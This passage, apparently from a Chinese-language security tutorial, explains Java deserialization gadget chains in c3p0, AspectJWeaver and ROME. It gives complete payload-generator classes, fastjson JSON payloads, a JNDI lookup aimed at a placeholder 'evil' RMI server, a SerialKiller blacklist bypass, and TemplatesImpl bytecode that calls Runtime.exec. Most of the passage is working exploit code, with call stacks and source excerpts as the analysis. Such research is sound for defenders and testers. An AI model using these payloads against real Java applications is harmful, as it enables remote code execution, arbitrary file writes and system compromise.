// 类名(去掉最后路径段的 .class 后缀)
String path = u.getPath();
int i = path.lastIndexOf('/');
String file = (i >= 0) ? path.substring(i + 1) : path;
String cls = file.endsWith(".class") ? file.substring(0, file.length() - ".class".length()) : file;
return new String[]{base, cls};
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

二次反序列化(setter 触发)

1
2
3
4
5
6
7
8
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:144)
at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:123)
at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:252)
at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:58)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271)
at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:441)

原理分析

com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 函数会将子串 userOverridesAsString[len("HexAsciiSerializedMap") + 1 : -1] 从 HEX 转换为 bytes,然后调用 com.mchange.v2.ser.SerializableUtils#fromByteArray 进行后续反序列化操作。

这里 userOverridesAsString 就是调用 com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 时传入的参数。

1
2
3
4
5
6
7
8
9
10
private final static String HASM_HEADER = "HexAsciiSerializedMap";

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
} else
return Collections.EMPTY_MAP;
}

最后会在 SerializableUtils#deserializeFromByteArray 函数进行实际的反序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

利用代码

1
2
3
4
5
6
String hex = ByteUtils.toHexAscii(URLDNS.getPayload("http://www.example.com"));
String payload = "HexAsciiSerializedMap:" + hex + '!';

// 触发
WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);

由于是 setter 触发,可以配合 fastjson 使用:

1
2
3
4
5
6
7
8
9
10
11
12
{ 
"a":
{
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b":
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:<hexEXP>!"
}
}

bytes 转 hex 的工具函数:

1
2
3
4
5
6
7
8
9
10
static String toHex(byte[] bytes) {
char[] HEX = "0123456789ABCDEF".toCharArray();
char[] out = new char[bytes.length * 2];
for (int i = 0, j = 0; i < bytes.length; i++) {
int v = bytes[i] & 0xFF;
out[j++] = HEX[v >>> 4];
out[j++] = HEX[v & 0x0F];
}
return new String(out);
}

JNDI(setter 触发)

com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource 类可以通过 setter 触发 JNDI。

原理分析

首先 JndiRefConnectionPoolDataSource#setJndiName 会调用 com.mchange.v2.c3p0.impl.JndiRefDataSourceBase#setJndiName 设置 jndiName 属性。

1
2
at com.mchange.v2.c3p0.impl.JndiRefDataSourceBase.setJndiName(JndiRefDataSourceBase.java:110)
at com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource.setJndiName(JndiRefConnectionPoolDataSource.java:70)

之后 JndiRefConnectionPoolDataSource#setLoginTimeout 会触发 JNDI:

1
2
3
4
5
6
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.dereference(JndiRefForwardingDataSource.java:77)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.inner(JndiRefForwardingDataSource.java:99)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.setLoginTimeout(JndiRefForwardingDataSource.java:122)
at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.setLoginTimeout(WrapperConnectionPoolDataSource.java:264)
at com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource.setLoginTimeout(JndiRefConnectionPoolDataSource.java:375)

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference 会按照前面设置的 jndiName 进行 JNDI 查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private DataSource dereference() throws SQLException
{
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try {
InitialContext ctx;
if (jndiEnv != null)
ctx = new InitialContext( jndiEnv );
else
ctx = new InitialContext();
if (jndiName instanceof String)
return (DataSource) ctx.lookup( (String) jndiName ); // 👈
// [...]
}
// [...]
}

利用代码

触发代码:

1
2
3
JndiRefConnectionPoolDataSource source = new JndiRefConnectionPoolDataSource();
source.setJndiName("rmi://127.0.0.1:1099/evil");
source.setLoginTimeout(1);

配合 fastjson 使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
{ 
"a":
{
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.JndiRefForwardingDataSource"
},
"b":
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "rmi://127.0.0.1:1099/evil",
"loginTimeout": 0
}
}

AspectJWeaver

AspectJ 是 Java 社区最知名的面向切面编程(AOP)框架。它扩展了 Java,支持在已有代码的指定位置(方法调用前后、异常抛出、字段访问等)注入额外的逻辑,且不需要修改原始代码

AspectJWeaver 的本质是一种字节码修改工具

  • 读取 .class 文件(二进制 Java 类文件)。
  • 根据用户定义的切面规则(pointcut 和 advice),动态或静态地插入额外的字节码(编织 weaving)。
  • 输出修改后的类文件供 JVM 执行。

因此,“Weaver” 就是“编织器”,将切面代码与业务代码融合。

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>

任意文件写(反序列化触发)

1
2
3
4
5
6
7
8
9
at java.io.FileOutputStream.write(FileOutputStream.java:313)
at org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.writeToPath(SimpleCache.java:255)
at org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.put(SimpleCache.java:193)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:159)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at java.util.HashSet.readObject(HashSet.java:334)

原理分析

前半部分是基于 CC10(CC6+HashSet)实现的,这条链通过 org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode 方法触发了 LazyMapget 方法调用。而 LazyMap 在调用 LazyMap#factorytransform 方法后会将 transform 的返回结果 value 与原本的 key 一起放到 map 中。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put 会将 value 作为内容(强转为 byte[])写入文件 <folder>/<key> 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 将一条 (key -> byte[]) 写入“磁盘后备”缓存:
// 1) 若 value 等于哨兵 SAME_BYTES,则不落盘,只在 Map 里存入特殊标记字符串 SAME_BYTES_STRING;
// 2) 否则把字节写到 folder/key 文件里,Map 里存入 (key -> 该文件的绝对路径);
// 3) 调用 storeMap()(带节流)把“索引”(整个 Map 自身)序列化到 folder/CACHENAMEIDX。
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value; // 约定 value 必须是 byte[],否则会抛类型转换异常

if (Arrays.equals(valueBytes, SAME_BYTES)) { // 若与预设的“哨兵字节”完全相同
path = SAME_BYTES_STRING; // 只记一个标记字符串,避免为该值创建文件
} else {
// 将字节内容写入磁盘文件(路径为 folder + File.separator + key)
// 返回写入文件的完整路径,之后存入 Map
path = writeToPath((String) key, valueBytes);
}

// 真正存入父类 Map(这里通常是 HashMap):键是传入的 key,值是 "路径字符串" 或 "SAME_BYTES_STRING"
Object result = super.put(key, path);

// 尝试把“索引”(整个 Map 对象)序列化到磁盘;
// storeMap() 内部按 storingTimer 做节流:距离上次写盘未超过阈值则跳过,降低 I/O 频率
storeMap();

return result; // 返回旧值(HashMap 的语义),或 null
} catch (IOException e) {
// 任何写文件/序列化过程中的 I/O 异常都会到这里
trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e);
Dump.dumpWithException(e); // 额外转储以便诊断
}
return null;
}

private String writeToPath(String key, byte[] bytes) throws IOException {
// 目标文件:folder 作为缓存根目录,key 直接作为文件名/相对子路径(调用方需保证 key 合法)
String fullPath = folder + File.separator + key;

// 打开输出流并写入字节(覆盖写)
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush(); // 主动刷新缓冲(close() 也会刷新)
fos.close(); // 及时关闭释放句柄
return fullPath;
}

StoreableCachingMap 的构造函数属性为 private,因此需要反射调用。其中第一个参数 folder 可以写文件路径,storingTimer 对与写文件逻辑无影响。

1
2
3
4
5
private StoreableCachingMap(String folder, int storingTimer){
this.folder = folder;
initTrace();
this.storingTimer = storingTimer;
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class AspectJWeaver {
static Object getObject(String path, byte[] content) throws Exception {
Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int.class);
ctor.setAccessible(true);
Map innerMap = (Map) ctor.newInstance(".", 0xdeadbeef);
Map outerMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(content));

TiedMapEntry entry = new TiedMapEntry(outerMap, path);
HashSet triggerSet = new HashSet();
triggerSet.add(entry);

setFieldValue(outerMap, "map", innerMap);

return triggerSet;
}

public static byte[] getPayload(String path, byte[] content) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(path, content));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("a.txt", "hahaha".getBytes());
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
getDeclaredField(object.getClass(), fieldName).set(object, value);
}

private static Field getDeclaredField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}

SerialKiller 绕过

由于 ConstantTransformer 在 SerialKiller 中被 ban 了,因此我们需要寻找能替代的 Transformer 对象。ConstantTransformer 作用是调用 transform 方法的时候返回一个固定的值(byte[] 类型),因此屋面需要找能达到同等效果且实现了 Transformer 的类。

MapTransformer

org.apache.commons.collections.functors.MapTransformer 包装了一个 Map 对象 iMap,然后它的 transform 方法会根据参数 inputiMap 中查询对应的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private final Map iMap;

public static Transformer getInstance(Map map) {
if (map == null) {
return ConstantTransformer.NULL_INSTANCE;
}
return new MapTransformer(map);
}

private MapTransformer(Map map) {
super();
iMap = map;
}

public Object transform(Object input) {
return iMap.get(input);
}

由于我们传入 transform 的参数为文件名是固定的,因此可以用它代替 ConstantTransformer 达到同样的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object getObject(String path, byte[] content) throws Exception {
Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int.class);
ctor.setAccessible(true);
Map innerMap = (Map) ctor.newInstance(".", 0xdeadbeef);

Map transMap = new HashMap();
transMap.put(path, content);
Transformer transformer = MapTransformer.getInstance(transMap);

Map outerMap = LazyMap.decorate(new HashMap(), transformer);

TiedMapEntry entry = new TiedMapEntry(outerMap, path);
HashSet triggerSet = new HashSet();
triggerSet.add(entry);

setFieldValue(outerMap, "map", innerMap);

return triggerSet;
}

FactoryTransformer

org.apache.commons.collections.functors.FactoryTransformer 保存一个 org.apache.commons.collections.Factory 对象 iFactory,调用 transform 方法返回的是 iFactory.create() 的结果。

1
2
3
4
5
6
7
8
9
10
private final Factory iFactory;

public FactoryTransformer(Factory factory) {
super();
iFactory = factory;
}

public Object transform(Object input) {
return iFactory.create();
}

然后我们需要寻找合适的 Factory 接口的实现类,且 create 方法的返回值可控。

由于 Factory 来自于 commons-collections 库,因此这个接口的实现类全都来自于 commons-collections 库,并且简单分析一下发现很多实现类都满足条件。

这里只列举一个最简单的情况,也就是 org.apache.commons.collections.functors.ConstantFactory

1
2
3
4
5
6
7
8
public ConstantFactory(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object create() {
return iConstant;
}

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object getObject(String path, byte[] content) throws Exception {
Class<?> clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> ctor = clz.getDeclaredConstructor(String.class, int.class);
ctor.setAccessible(true);
Map innerMap = (Map) ctor.newInstance(".", 0xdeadbeef);

Map transMap = new HashMap();
transMap.put(path, content);

Transformer transformer = new FactoryTransformer(new ConstantFactory(content));
Map outerMap = LazyMap.decorate(new HashMap(), transformer);

TiedMapEntry entry = new TiedMapEntry(outerMap, path);
HashSet triggerSet = new HashSet();
triggerSet.add(entry);

setFieldValue(outerMap, "map", innerMap);

return triggerSet;
}

二次反序列化

利用 AspectJWeaver 任意文件写后,发现同目录下出现了一个 cache.idx 文件。

这是因为 org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put 函数会调用 storeMap 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;

if (Arrays.equals(valueBytes, SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap(); // 👈
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}

storeMap 将自身序列化结果保存到同目录下的 cache.idx 文件中,不过需要满足 (now - lastStored ) < storingTimer 条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static final String CACHENAMEIDX = "cache.idx";
private long lastStored = System.currentTimeMillis();
private int storingTimer;

public void storeMap() {
long now = System.currentTimeMillis();
if ((now - lastStored ) < storingTimer){
return;
}
File file = new File(folder + File.separator + CACHENAMEIDX);;
try {
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(file));
// Deserialize the object
out.writeObject(this);
out.close();
lastStored = now;
} catch (Exception e) {
trace.error("Error storing cache; cache file:"+file.getAbsolutePath(), e);
Dump.dumpWithException(e);
}
}

如果我们将 storingTimer 设置的足够大(比如 0x7fffffff),这样的话 cache.idx 文件中就不会写入序列化数据,但是我们的任意文件写可以向 cache.idx 文件写入其他序列化数据。

而既然 cache.idx 文件保存序列化数据,那么一定有其他地方会读取并反序列化该文件中的数据。比如 org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static StoreableCachingMap init(String folder) {
return init(folder,DEF_STORING_TIMER);

}

public static StoreableCachingMap init(String folder, int storingTimer) {
File file = new File(folder + File.separator + CACHENAMEIDX);
if (file.exists()) {
try {
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(file));
// Deserialize the object
StoreableCachingMap sm = (StoreableCachingMap) in.readObject();
sm.initTrace();
in.close();
return sm;
} catch (Exception e) {
Trace trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);
trace.error("Error reading Storable Cache", e);
}
}

return new StoreableCachingMap(folder,storingTimer);
}

不过这个点还是比较鸡肋。

Rome

ROME 是一个用来解析/生成 RSS 与 Atom 订阅源的 Java 库(框架名就叫 ROME)。它提供统一的 API,把各种 RSS(0.90/0.91/0.92/0.93/0.94/1.0/2.0)与 Atom(0.3/1.0)格式读成 Java 对象,或从 Java 对象写回成订阅源;并有扩展模块(MediaRSS、GeoRSS、OPML 等)。

很多网站/博客会把“最新文章列表”以一种机器可读的 XML 格式对外发布,常见有 RSSAtom 两种。订阅器(比如 Feedly)订阅这个地址,就能自动看到网站的新内容。这个 XML 就叫“订阅源/Feed”。

1
2
3
4
5
<dependency>  
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

反序列化链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.ObjectBean.toString(ObjectBean.java:120)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.ObjectBean.hashCode(ObjectBean.java:110)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.readObject(HashMap.java:1397)

原理分析

这里我们主要关心的是 com.sun.syndication.feed.impl.ObjectBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ObjectBean implements Serializable, Cloneable {
private EqualsBean _equalsBean;
private ToStringBean _toStringBean;
private CloneableBean _cloneableBean;

public ObjectBean(Class beanClass,Object obj) {
this(beanClass,obj,null);
}

public ObjectBean(Class beanClass,Object obj,Set ignoreProperties) {
_equalsBean = new EqualsBean(beanClass,obj);
_toStringBean = new ToStringBean(beanClass,obj);
_cloneableBean = new CloneableBean(obj,ignoreProperties);
}

// [...]

toString → getter

在我们调用 ObjectBeantoString 方法时会触发其 _toStringBean 成员的 toString 方法,调用栈如下:

1
2
3
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.ObjectBean.toString(ObjectBean.java:120)

ToStringBean#toString 会遍历并调用 _beanClass 的所有满足下面条件的 getter 方法:

  • 不是继承自 java.lang.Object 类的 getter 方法,这里主要是 getClass
  • getter 方法必须无参。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 反射调用 getter 时使用的“无参占位数组”,避免每次 new Object[0]
private static final Object[] NO_PARAMS = new Object[0];

/**
* 返回构造时传入 bean 的字符串表示。
* @param prefix 属性名前缀(一般用于输出时标识 bean 名称)
* @return 该 bean 的“属性=值”列表字符串
*/
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 通过内省拿到 beanClass 的所有属性描述(包含属性名与读/写方法)
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds != null) {
for (int i = 0; i < pds.length; i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && // 必须存在 getter
pReadMethod.getDeclaringClass() != Object.class && // 过滤掉 Object 的方法(如 getClass)
pReadMethod.getParameterTypes().length == 0) { // 仅接受无参 getter
// 反射调用 getter 取属性值
Object value = pReadMethod.invoke(_obj, NO_PARAMS);
// 按“前缀.属性名=值”的形式追加到 StringBuffer
printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception ex) {
// 任何内省/反射异常都附带类名写入输出,便于排查
sb.append("\n\nEXCEPTION: Could not complete " + _obj.getClass()
+ ".toString(): " + ex.getMessage() + "\n");
}
return sb.toString();
}

这里的 _beanClass 实际上就是来自于 ObjectBeanbeanClass 参数,而 _obj 来自于 ObjectBeanobj 参数。

1
2
3
4
5
6
7
8
/**
* @param beanClass 要扫描属性的类型(通常是接口或类本身)
* @param obj 具体的 bean 实例,用于实际读取属性值
*/
public ToStringBean(Class beanClass, Object obj) {
_beanClass = beanClass; // 保存要被内省的类型
_obj = obj; // 保存实际的目标对象
}

hashCode → toString

ObjectBean#hashCode 会调用 _equalsBeanbeanHashCode 方法。

1
2
3
public int hashCode() {
return _equalsBean.beanHashCode();
}

com.sun.syndication.feed.impl.EqualsBean#beanHashCode 方法会调用 _objtoString 方法。

1
2
3
public int beanHashCode() {
return _obj.toString().hashCode();
}

这里 EqualsBean#_obj 来自于 ObjectBeanobj 参数:

1
2
3
4
5
6
7
public EqualsBean(Class beanClass,Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass()+" is not instance of "+beanClass);
}
_beanClass = beanClass;
_obj = obj;
}

利用代码

根据前面的分析,现在我们可以利用 ObjectBean 实现从 hashCode 到任意对象的 getter 方法调用。具体做法为:

  1. Hash 类型的容器中存放 ObjectBean 类型的 outerBean,确保反序列化的时候能触发 outerBeanhashCode 方法。
  2. outerBean 中存放 ObjectBean 类型的 innerBean,外层的 outerBeanhashCode 方法能触发内层 innerBeantoString 方法。
  3. 内层的 innerBean 存放需要调用 getter 方法的对象。

字节码加载

由于能任意 getter 方法调用,我们不难想到利用 TemplatesImplgetOutputProperties 方法实现任意字节码加载。

注意

与 JDK7u21 类似,innerBean 在包装 TemplatesImplbeanClass 参数需要传 javax.xml.transform.Templates 而不是具体的 TemplatesImpl.class。这是因为 Templates 作为接口只定义了 newTransformergetOutputProperties 方法:

1
2
3
4
5
6
public interface Templates {

Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();
}

因此调用的 getter 方法只能是 getOutputProperties,这个方法可以正常触发 TemplatesImpl 的任意字节码加载的利用链。

TemplatesImpl.class 返回的第一个方法大概率不能触发 TemplatesImpl 的任意字节码加载的利用链,而是调用到 getStylesheetDOM 方法:

1
2
3
4
5
private transient ThreadLocal _sdom = new ThreadLocal();

public DOM getStylesheetDOM() {
return (DOM)_sdom.get();
}

_sdom 这个属性被 transient 修饰,无法被序列化。反序列化的时候会抛出 NullPoint 异常,报错导致 ToStringBean#toString 函数跳出 getter 遍历提前返回,因而无法完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;

public class ROME {
static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

ObjectBean innerBean = new ObjectBean(Templates.class, templates);
ObjectBean outerBean = new ObjectBean(ObjectBean.class, innerBean);

HashSet triggerSet = new HashSet();
triggerSet.add(outerBean);

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return triggerSet;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}


private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

javax.management.BadAttributeValueExpException 在反序列化 readObject 时会对其中的 val 成员调用 toString 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null // 📌 System.getSecurityManager() 需要返回 null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 👈 调用 val 成员的 toString 方法
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

我们可以使用 BadAttributeValueExpException 代替 HashSet + ObjectBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class ROME {
static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

ObjectBean bean = new ObjectBean(Templates.class, templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", bean);

return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
